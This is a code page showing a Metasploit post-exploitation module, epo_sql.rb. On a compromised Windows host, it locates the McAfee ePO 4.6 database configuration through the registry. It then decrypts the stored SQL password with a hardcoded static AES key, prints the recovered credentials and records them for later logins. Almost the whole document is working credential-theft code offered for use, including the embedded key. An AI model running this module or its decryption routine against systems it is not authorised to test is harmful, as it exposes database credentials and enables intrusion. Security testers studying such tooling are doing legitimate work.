Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/epo_sql.rb
Views: 11703
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/dns/resolver'67class MetasploitModule < Msf::Post8include Msf::Post::Windows::Registry9include Msf::Auxiliary::Report1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Windows Gather McAfee ePO 4.6 Config SQL Credentials',16'Description' => %q{17This module extracts connection details and decrypts the saved password for the18SQL database in use by a McAfee ePO 4.6 server. The passwords are stored in a19config file. They are encrypted with AES-128-ECB and a static key.20},21'License' => MSF_LICENSE,22'Author' => ['Nathan Einwechter <neinwechter[at]gmail.com>'],23'Platform' => [ 'win' ],24'SessionTypes' => [ 'meterpreter' ],25'Compat' => {26'Meterpreter' => {27'Commands' => %w[28core_channel_eof29core_channel_open30core_channel_read31core_channel_write32stdapi_net_resolve_host33]34}35}36)37)38end3940def run41# Find out where things are installed42print_status('Finding Tomcat install path...')43subkeys = registry_enumkeys('HKLM\Software\Network Associates\ePolicy Orchestrator', REGISTRY_VIEW_32_BIT)44if subkeys.nil? || subkeys.empty?45print_error('ePO 4.6 Not Installed or No Permissions to RegKey')46return47end48# Get the db.properties file location49epol_reg_key = 'HKLM\Software\Network Associates\ePolicy Orchestrator'50dbprops_file = registry_getvaldata(epol_reg_key, 'TomcatFolder', REGISTRY_VIEW_32_BIT)51if dbprops_file.nil? || (dbprops_file == '')52print_error('Could not find db.properties file location')53else54dbprops_file << '/conf/orion/db.properties'55print_good('Found db.properties location')56process_config(dbprops_file)57end58end5960def process_config(filename)61config = client.fs.file.new(filename, 'r')62print_status("Processing #{filename}")63contents = config.read64config_lines = contents.split("\n")65for line in config_lines66line.chomp67line_array = line.split('=')68case line_array[0]69when 'db.database.name'70database_name = ''71line_array[1].each_byte { |x| database_name << x unless x > 126 || x < 32 }72when 'db.instance.name'73database_instance = ''74line_array[1].each_byte { |x| database_instance << x unless x > 126 || x < 32 }75when 'db.user.domain'76user_domain = ''77line_array[1].each_byte { |x| user_domain << x unless x > 126 || x < 32 }78when 'db.user.name'79user_name = ''80line_array[1].each_byte { |x| user_name << x unless x > 126 || x < 32 }81when 'db.port'82port = ''83line_array[1].each_byte { |x| port << x unless x > 126 || x < 32 }84when 'db.user.passwd.encrypted.ex'85# ePO 4.6 encrypted password86passwd = ''87line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }88passwd.gsub('\\', '')89# Add any Base64 padding that may have been stripped out90passwd << '=' until (passwd.length % 4 == 0)91plaintext_passwd = decrypt46(passwd)92when 'db.user.passwd.encrypted'93# ePO 4.5 encrypted password - not currently supported, see notes below94passwd = ''95line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }96passwd.gsub('\\', '')97# Add any Base64 padding that may have been stripped out98passwd << '=' until (passwd.length % 4 == 0)99plaintext_passwd = 'PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP'100when 'db.server.name'101database_server_name = ''102line_array[1].each_byte { |x| database_server_name << x unless x > 126 || x < 32 }103end104end105106# resolve IP address for creds reporting107108result = client.net.resolve.resolve_host(database_server_name)109if result[:ip].nil? || result[:ip].empty?110print_error('Could not determine IP of DB - credentials not added to report database')111return112end113114db_ip = result[:ip]115116print_good("SQL Server: #{database_server_name}")117print_good("SQL Instance: #{database_instance}")118print_good("Database Name: #{database_name}")119if db_ip120print_good("Database IP: #{db_ip}")121end122print_good("Port: #{port}")123if user_domain.nil? || (user_domain == '')124print_good('Authentication Type: SQL')125full_user = user_name126else127print_good('Authentication Type: Domain')128print_good("Domain: #{user_domain}")129full_user = "#{user_domain}\\#{user_name}"130end131print_good("User: #{full_user}")132print_good("Password: #{plaintext_passwd}")133134if db_ip135# submit to reports136service_data = {137address: Rex::Socket.getaddress(db_ip),138port: port,139protocol: 'tcp',140service_name: 'mssql',141workspace_id: myworkspace_id142}143144credential_data = {145origin_type: :session,146session_id: session_db_id,147post_reference_name: refname,148username: full_user,149private_data: plaintext_passwd,150private_type: :password151}152153credential_core = create_credential(credential_data.merge(service_data))154155login_data = {156core: credential_core,157access_level: 'User',158status: Metasploit::Model::Login::Status::UNTRIED159}160161create_credential_login(login_data.merge(service_data))162print_good('Added credentials to report database')163else164print_error('Could not determine IP of DB - credentials not added to report database')165end166end167168def decrypt46(encoded)169encrypted_data = Rex::Text.decode_base64(encoded)170aes = OpenSSL::Cipher.new('AES-128-ECB')171aes.decrypt172aes.padding = 0173# Private key extracted from ePO 4.6.0 Build 1029174# If other keys are required for other versions of 4.6 - will have to add version175# identification routines in to the main part of the module176key = [ 94, -100, 62, -33, -26, 37, -124, 54, 102, 33, -109, -128, 49, 90, 41, 51 ]177aes.key = key.pack('C*')178password = aes.update(encrypted_data) + aes.final179# Get rid of all the crazy \f's that result180password.gsub!(/[^[:print:]]/, '')181return password182end183end184185186